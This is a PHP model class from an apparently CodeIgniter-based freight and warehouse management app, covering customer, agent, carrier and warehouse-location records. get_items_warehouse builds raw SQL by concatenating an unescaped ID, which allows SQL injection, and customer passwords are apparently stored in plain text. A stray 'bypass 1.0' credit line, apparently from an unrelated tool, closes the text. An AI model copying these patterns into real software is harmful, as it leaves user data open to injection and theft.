                                'contact_name'=>$postdata['contact_name'.$i],
                                'contact_mobile'=>$postdata['contact_mobile'.$i],
                                'contact_email'=>$postdata['contact_email'.$i],
                                'contact_phone'=>$postdata['contact_phone'.$i],
                                'contact_designation'=>$postdata['contact_designation'.$i]);
                $this->db->insert('agent_contact', $tblValues);

            }
            $i++;
        }  
        $k=1;
        while(isset($postdata['agent_bank_name'.$k]))
        {
            if($postdata['agent_bank_name'.$k]!="")
            {
                $tblValues=array('agent_id'=>$agent_id,
                                'agent_bank_name'=>$postdata['agent_bank_name'.$k],
                                'agent_bank_branch'=>$postdata['agent_bank_branch'.$k],                    
                                'agent_bank_address'=>$postdata['agent_bank_address'.$k],
                                'agent_bank_beneficiary_name'=>$postdata['agent_bank_beneficiary_name'.$k],
                                'agent_bank_account_no'=>$postdata['agent_bank_account_no'.$k],
                                'agent_bank_SWIFT_BIC_code'=>$postdata['agent_bank_SWIFT_BIC_code'.$k]);
                $this->db->insert('agent_bank', $tblValues);

            }
            $k++;
        }
        
        $data['resfunction']='search_agent';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    function insert_carrier($postdata)
    {        
        
        $data=array();
        $this->db->trans_begin();    
        
        $tblValues=array('carrier_name'=> $postdata['carrier_name'],
                        'carrier_code'=> $postdata['carrier_code'], 
                        'carrier_address'=> $postdata['carrier_address'],
                        'carrier_pobox'=> $postdata['carrier_pobox'],
                        'carrier_city'=> $postdata['carrier_city'],
                        'carrier_country'=> $postdata['carrier_country'],
                        'carrier_contact_no'=> $postdata['carrier_contact_no'],
                        'carrier_mobile_no'=> $postdata['carrier_mobile_no'],
                        'carrier_fax'=> $postdata['carrier_fax'],
                        'carrier_email'=> $postdata['carrier_email'],
                        'carrier_web_link'=>$postdata['carrier_web_link'],
                        'comments'=> $postdata['comments'],
                        );
        $this->db->insert('carrier', $tblValues);
        $carrier_id=mysql_insert_id();
        $i=1;
        while(isset($postdata['contact_name'.$i]))
        {
            if($postdata['contact_name'.$i]!="")
            {
                $tblValues=array('carrier_id'=>$carrier_id,
                                'contact_name'=>$postdata['contact_name'.$i],
                                'contact_mobile'=>$postdata['contact_mobile'.$i],
                                'contact_email'=>$postdata['contact_email'.$i],
                                'contact_phone'=>$postdata['contact_phone'.$i],
                                'contact_designation'=>$postdata['contact_designation'.$i]);
                $this->db->insert('carrier_contact', $tblValues);

            }
            $i++;
        }        
        $data['resfunction']='search_carrier';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    
                   
    /*Update function starts here*/
    function update_customer($postdata)
    {
        $data=array();
        $this->db->trans_begin();  
        $establish=$this->mastermodel->convertdateformat($postdata['customer_since']);
        $tblValues=array('customer_name'=> $postdata['customer_name'],
                        'customer_address'=> $postdata['customer_address'],
                        'customer_pobox'=> $postdata['customer_pobox'],
                        'customer_city'=> $postdata['customer_city'],
                        'customer_country'=> $postdata['customer_country'],
                        'customer_contact_no'=> $postdata['customer_contact_no'],
                        'customer_mobile_no'=> $postdata['customer_mobile_no'],
                        'customer_fax'=> $postdata['customer_fax'],
                        'customer_email'=> $postdata['customer_email'],
                        'customer_since'=> $establish,
                        'customer_member_of'=> $postdata['customer_member_of_id'],
                        'comments'=> $postdata['comments']);
        $this->db->where('customer_id',$postdata['customer_id']);
        $this->db->update('customer', $tblValues);
        
         $tblValues=array(
                        'customer_login_name'=> $postdata['customer_login_name'], 
                        'customer_login_password'=> $postdata['customer_login_password']);
        $this->db->where('customer_id',$postdata['customer_id']);
        $this->db->update('customer_login', $tblValues);
        
        $this->db->where('customer_id',$postdata['customer_id']);
        $this->db->delete('customer_contact');

        $i=1;
        while(isset($postdata['contact_name'.$i]))
        {
            if($postdata['contact_name'.$i]!="")
            {
                $tblValues=array('customer_id'=>$postdata['customer_id'],
                                'contact_name'=>$postdata['contact_name'.$i],
                                'contact_mobile'=>$postdata['contact_mobile'.$i],
                                'contact_email'=>$postdata['contact_email'.$i],
                                'contact_phone'=>$postdata['contact_phone'.$i],
                                'contact_designation'=>$postdata['contact_designation'.$i]);
                $this->db->insert('customer_contact', $tblValues);

            }
            $i++;
        }
            
        
        $data['resfunction']='search_customer';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        } 
    }
    function update_agent($postdata)
    {
        $data=array();
        $this->db->trans_begin();  
        $tblValues=array(
                        'agent_name'=> $postdata['agent_name'],
                        'agent_address'=> $postdata['agent_address'],
                        'agent_pobox'=> $postdata['agent_pobox'],
                        'agent_city'=> $postdata['agent_city'],
                        'agent_country'=> $postdata['agent_country'],
                        'agent_contact_no'=> $postdata['agent_contact_no'],
                        'agent_mobile_no'=> $postdata['agent_mobile_no'],
                        'agent_fax'=> $postdata['agent_fax'],
                        'agent_email'=> $postdata['agent_email'],
                        'agent_since'=> $this->mastermodel->convertdateformat($postdata['agent_since']),
                        'comments'=> $postdata['comments'],
                        );
        $this->db->where('agent_id',$postdata['agent_id']);
        $this->db->update('agent', $tblValues);
        
        $this->db->where('agent_id',$postdata['agent_id']);
        $this->db->delete('agent_contact');                

        $i=1;
        while(isset($postdata['contact_name'.$i]))
        {
            if($postdata['contact_name'.$i]!="")
            {
                $tblValues=array('agent_id'=>$postdata['agent_id'],
                                'contact_name'=>$postdata['contact_name'.$i],
                                'contact_mobile'=>$postdata['contact_mobile'.$i],
                                'contact_email'=>$postdata['contact_email'.$i],
                                'contact_phone'=>$postdata['contact_phone'.$i],
                                'contact_designation'=>$postdata['contact_designation'.$i]);
                $this->db->insert('agent_contact', $tblValues);

            }
            $i++;
        }
        
        $this->db->where('agent_id',$postdata['agent_id']);
        $this->db->delete('agent_bank');
        
        $k=1;
        while(isset($postdata['agent_bank_name'.$k]))
        {
            if($postdata['agent_bank_name'.$k]!="")
            {
                $tblValues=array('agent_id'=>$postdata['agent_id'],
                                'agent_bank_name'=>$postdata['agent_bank_name'.$k],
                                'agent_bank_branch'=>$postdata['agent_bank_branch'.$k],
                                'agent_bank_address'=>$postdata['agent_bank_address'.$k],
                                'agent_bank_beneficiary_name'=>$postdata['agent_bank_beneficiary_name'.$k],
                                'agent_bank_account_no'=>$postdata['agent_bank_account_no'.$k],
                                'agent_bank_SWIFT_BIC_code'=>$postdata['agent_bank_SWIFT_BIC_code'.$k]);
                $this->db->insert('agent_bank', $tblValues);

            }
            $k++;
        }
        
        $data['resfunction']='search_agent';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        } 
    }
    function update_carrier($postdata)
    {
        $data=array();
        $this->db->trans_begin();  
        $tblValues=array('carrier_name'=> $postdata['carrier_name'],
                        'carrier_code'=> $postdata['carrier_code'], 
                        'carrier_address'=> $postdata['carrier_address'],
                        'carrier_pobox'=> $postdata['carrier_pobox'],
                        'carrier_city'=> $postdata['carrier_city'],
                        'carrier_country'=> $postdata['carrier_country'],
                        'carrier_contact_no'=> $postdata['carrier_contact_no'],
                        'carrier_mobile_no'=> $postdata['carrier_mobile_no'],
                        'carrier_fax'=> $postdata['carrier_fax'],
                        'carrier_email'=> $postdata['carrier_email'],
                        'carrier_web_link'=>$postdata['carrier_web_link'],
                        'comments'=> $postdata['comments'],
                        );
        $this->db->where('carrier_id',$postdata['carrier_id']);
        $this->db->update('carrier', $tblValues);
        
        $this->db->where('carrier_id',$postdata['carrier_id']);
        $this->db->delete('carrier_contact');

        $i=1;
        while(isset($postdata['contact_name'.$i]))
        {
            if($postdata['contact_name'.$i]!="")
            {
                $tblValues=array('carrier_id'=>$postdata['carrier_id'],
                                'contact_name'=>$postdata['contact_name'.$i],
                                'contact_mobile'=>$postdata['contact_mobile'.$i],
                                'contact_email'=>$postdata['contact_email'.$i],
                                'contact_phone'=>$postdata['contact_phone'.$i],
                                'contact_designation'=>$postdata['contact_designation'.$i]);
                $this->db->insert('carrier_contact', $tblValues);

            }
            $i++;
        }
            
        
        $data['resfunction']='search_carrier';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        } 
    }
   
     /*Add function ends here*/
    
   

         /*Update function starts here*/
       
//    function get_customer_no($customer_type)
//    {
//        $num=$this->get_num_rows('customer', 'customer_type', $customer_type);
//        $num++;
//        do
//        {
//            if($customer_type == 1)
//            {
//                $code="IDL";
//            }
//            else
//            {
//                $code="CRP";
//            }
//            $customer_no = $code.str_pad($num, 4, "0", STR_PAD_LEFT);
//            $num_rows_customer = $this->number_rows('customer','customer_no',$customer_no);
//            $num++;
//        }while($num_rows_customer!=0);
//        return $customer_no;
//    }
    

    function upload_file($postdata)
    {
         $this->db->trans_begin();
         $tbl1Values=array('master_id'=>$postdata['master_id'],
             'file_name'=>$postdata['file_name'],
             'file_date'=>date("Y-m-d"),
             'file_location'=>$postdata['file_location']);
          $this->db->insert('file', $tbl1Values);
          $this->db->trans_commit();
    }
    function customer_file_upload($postdata)
    {
        $this->db->trans_begin();
         $tbl1Values=array('customer_id'=>$postdata['master_id'],
             'file_name'=>$postdata['file_name'],
             'file_date'=>date("Y-m-d"),
             'file_location'=>$postdata['file_location']);
          $this->db->insert('customer_file', $tbl1Values);
          $this->db->trans_commit();
        
    }
    function agent_file_upload($postdata)
    {
        $this->db->trans_begin();
         $tbl1Values=array('agent_id'=>$postdata['master_id'],
             'file_name'=>$postdata['file_name'],
             'file_date'=>date("Y-m-d"),
             'file_location'=>$postdata['file_location']);
          $this->db->insert('agent_file', $tbl1Values);
          $this->db->trans_commit();
        
    }
    function getcustomeraddress($customer_id)
    {
        $customer = $this->get_data_srow('customer',$customer_id,'customer_id');
        $customer_address='';
        if($customer->customer_address!='')
            $customer_address.=nl2br($customer->customer_address).'<br/> ';
        if($customer->customer_pobox!='')
            $customer_address.='P.O Box: '.$customer->customer_pobox.'<br/> ';
        if($customer->customer_city!='')
            $customer_address.=$customer->customer_city.', ';
        if($customer->customer_country!='')
            $customer_address.=$customer->customer_country.', ';
        return substr($customer_address,0,-2);
    }
    function get_customer_address($customer_id)
    {
        $customer = $this->get_data_srow('customer',$customer_id,'customer_id');
        $customer_address='';
        if($customer->customer_address!='')
            $customer_address.=$customer->customer_address."\n";
        if($customer->customer_pobox!='')
            $customer_address.='P.O Box: '.$customer->customer_pobox."\n";
        if($customer->customer_city!='')
            $customer_address.=$customer->customer_city.', ';
        if($customer->customer_country!='')
            $customer_address.=$customer->customer_country.', ';
        return substr($customer_address,0,-2);
    }

    function get_master_code($prefix_code,$table,$field)
    {
        $this->db->like($field,$prefix_code);
        $Q=$this->db->get($table);
        $num=$Q->num_rows();
        $num++;
        do
        {
            $master_code = $prefix_code.str_pad($num, 4, "0", STR_PAD_LEFT);
            $num_rows_code = $this->mastermodel->number_rows($table,$field,$master_code);
            $num++;
        }while($num_rows_code!=0);
        return $master_code;
    }


    function get_code($prefix_code,$table,$field)
    {
        $branch_code = $this->get_single_field_value('branch','branch_code','branch_id',$_SESSION['employee_branch_id']);
        $this->db->like($field,$prefix_code.$branch_code);
        $Q=$this->db->get($table);
        $num=$Q->num_rows();
        $num++;
        do
        {
            $enquiry_code = $prefix_code.$branch_code.'/'.str_pad($num, 4, "0", STR_PAD_LEFT);
            $num_rows_code = $this->mastermodel->number_rows($table,$field,$enquiry_code);
            $num++;
        }while($num_rows_code!=0);
        return $enquiry_code;
    }
    
    function get_job_code($prefix_code,$table,$field)
    {
        $Year = date("y"); 
        $Month = date("m"); 
        $branch_code = $this->get_single_field_value('branch','branch_code','branch_id',$_SESSION['employee_branch_id']);
        $this->db->like($field,$prefix_code.$branch_code);
        $Q=$this->db->get($table);
        $num=$Q->num_rows();
        $num++;
        do
        {
            $code = $prefix_code.$branch_code.'/'.$Month.$Year.'/'.str_pad($num, 4, "0", STR_PAD_LEFT);
            $num_rows_code = $this->mastermodel->number_rows($table,$field,$code);
            $num++;
        }while($num_rows_code!=0);
        return $code;
    }
    
    
    function get_bin_by_warehouse($warehouse_id)
    {
        $this->db->select('*');
        $this->db->from('warehouse_bin');
        $this->db->where('warehouse_id',$warehouse_id);
        $this->db->order_by('warehouse_id','asc');
        return $this->db->get();
    }
    
    function get_shelf_by_bin($bin_id)
    {
        $this->db->select('*');
        $this->db->from('warehouse_shelf');
        $this->db->where('bin_id',$bin_id);
        $this->db->order_by('bin_id','asc');
        return $this->db->get();
    }
    
    function get_rack_by_shelf($shelf_id)
    {
        $this->db->select('*');
        $this->db->from('warehouse_rack');
        $this->db->where('shelf_id',$shelf_id);
        $this->db->order_by('shelf_id','asc');
        return $this->db->get();
    }
    
    function add_new_bin($warehouse_id,$bin_name)
    {
        $tblValues=array('warehouse_id'=>$warehouse_id,'bin_name'=>$bin_name);
        $this->db->insert('warehouse_bin', $tblValues); 
    }
    
    function update_bin_name($bin_id,$bin_name)
    {
        $tblValues=array('bin_name'=> $bin_name);
        $this->db->where('bin_id', $bin_id);
        $res=$this->db->update('warehouse_bin',$tblValues);
        return $res;   
    }
    
    function add_new_shelf($bin_id,$shelf_name)
    {
        $tblValues=array('bin_id'=>$bin_id,'shelf_name'=>$shelf_name);
        $this->db->insert('warehouse_shelf', $tblValues);
        return mysql_insert_id();   
    }
    
    function update_shelf_name($shelf_id,$shelf_Name)
    {
        $tblValues=array('shelf_name'=> $shelf_Name);
        $this->db->where('shelf_id', $shelf_id);
        $res=$this->db->update('warehouse_shelf',$tblValues);
        return $res;
    }
    
    function add_new_rack($shelf_id,$rack_name)
    {
        $tblValues=array('shelf_id'=>$shelf_id,'rack_name'=>$rack_name);
        $this->db->insert('warehouse_rack', $tblValues);
        return 1;
    }
    
    function update_rack($rack_id,$rack_name)
    {
        $tblValues=array('rack_name'=> $rack_name);
        $this->db->where('rack_id', $rack_id);
        $res=$this->db->update('warehouse_rack',$tblValues);
        return 1;
    }
    
    function get_items_warehouse($element_type,$element_id)
    {
        $data = array();
        $query="SELECT
            `warehousing_item_placement_details`.`warehousing_item_placement_item_code`,
            `warehousing_item_placement_details`.`warehousing_item_placement_item_name`,
            `warehousing_item_placement_details`.`warehousing_item_placement_item_barcode`, 
            `warehousing_item_placement_details`.`warehousing_item_placement_item_uom`, 
            `warehousing_item_placement_details`.`warehousing_item_placement_item_qty`, 
            `warehousing_item_placement_history`.`warehousing_item_date_time`, 
            `warehousing_job_register`.`warehousing_job_register_code`, 
            `warehousing_item_placement_history`.`warehousing_item_placement_history_id`
            FROM `warehousing_item_placement_history`
            INNER JOIN `warehousing_item_placement_details` 
                ON (`warehousing_item_placement_history`.`warehousing_item_id` = `warehousing_item_placement_details`.`warehousing_item_id`)
            INNER JOIN `warehousing_item_placement` 
                ON (`warehousing_item_placement_details`.`warehousing_item_placement_id` = `warehousing_item_placement`.`warehousing_item_placement_id`)
            INNER JOIN `warehousing_job_register` 
                ON (`warehousing_item_placement`.`warehousing_job_id` = `warehousing_job_register`.`warehousing_job_register_id`)
            WHERE `warehousing_item_placement_history`.`warehousing_item_date_time` =
            (SELECT MAX(wiph.`warehousing_item_date_time`) FROM `warehousing_item_placement_history` wiph
            WHERE wiph.warehousing_item_id = `warehousing_item_placement_history`.`warehousing_item_id`) and";
        if($element_type == 'bin_id')
        {    
            $query.=" warehousing_item_placement_history.warehousing_bin_id = '".$element_id."' and warehousing_item_placement_history.warehousing_shelf_id = 0
            and  warehousing_item_placement_history.warehousing_rack_id = 0";
        }
        if($element_type == 'shelf_id')
        {    
            $query.=" warehousing_item_placement_history.warehousing_shelf_id = '".$element_id."'
            and  warehousing_item_placement_history.warehousing_rack_id = 0";
        }
        if($element_type == 'rack_id')
        {    
            $query.=" warehousing_item_placement_history.warehousing_rack_id = '".$element_id."'";
        }
        $query.=" order by warehousing_item_date_time";
        $Q = $this->db->query($query);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    function convert_number($number)
    {
        if (($number < 0) || ($number > 999999999))
        {
        throw new Exception("Number is out of range");
        }

        $Gn = floor($number / 1000000);  /* Millions (giga) */
        $number -= $Gn * 1000000;
        $kn = floor($number / 1000);     /* Thousands (kilo) */
        $number -= $kn * 1000;
        $Hn = floor($number / 100);      /* Hundreds (hecto) */
        $number -= $Hn * 100;
        $Dn = floor($number / 10);       /* Tens (deca) */
        $n = $number % 10;               /* Ones */

        $res = "";

        if ($Gn)
        {
            $res .= $this->convert_number($Gn) . " Million";
        }

        if ($kn)
        {
            $res .= (empty($res) ? "" : " ") .
                $this->convert_number($kn) . " Thousand";
        }

        if ($Hn)
        {
            $res .= (empty($res) ? "" : " ") .
                $this->convert_number($Hn) . " Hundred";
        }

        $ones = array("", "One", "Two", "Three", "Four", "Five", "Six",
            "Seven", "Eight", "Nine", "Ten", "Eleven", "Twelve", "Thirteen",
            "Fourteen", "Fifteen", "Sixteen", "Seventeen", "Eighteen",
            "Nineteen");
        $tens = array("", "", "Twenty", "Thirty", "Forty", "Fifty", "Sixty",
            "Seventy", "Eighty", "Ninety");

        if ($Dn || $n)
        {
            if (!empty($res))
            {
                $res .= " and ";
            }

            if ($Dn < 2)
            {
                $res .= $ones[$Dn * 10 + $n];
            }
            else
            {
                $res .= $tens[$Dn];

                if ($n)
                {
                    $res .= " " . $ones[$n];
                }
            }
        }
            
        if (empty($res))
        {
            $res = "zero";
        }

        return $res;
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net